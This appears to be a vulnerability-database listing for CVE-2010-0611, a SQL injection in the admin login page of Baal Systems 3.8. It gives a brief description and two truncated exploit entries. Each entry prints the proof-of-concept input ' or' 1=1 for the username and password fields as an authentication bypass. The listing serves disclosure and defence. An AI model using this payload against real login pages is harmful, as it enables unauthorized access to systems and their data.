CVE-2010-0611

CVE-2010-0611 describes multiple SQL injection vulnerabilities in Baal Systems' adminlogin.php (versions 3.8 and earlier). The underlying issue allows remote attackers to inject SQL commands through the username or password parameters, potentially compromising data confidentiality and integrity a...

Baal Systems 3.8 SQL Injection

Baal Systems + Download : http://scripts.ringsworld.com/discussion-boards/baalsystems3-8/ + Vuln Code : adminlogin.php + PoC : BaalSystemspath/adminlogin.php username: ' or' 1=1 Password: ' or' 1=1...

Baal Systems 3.8 - Authentication Bypass

Baal Systems + Vuln Code : adminlogin.php + PoC : BaalSystemspath/adminlogin.php username: ' or' 1=1 Password: ' or' 1=1...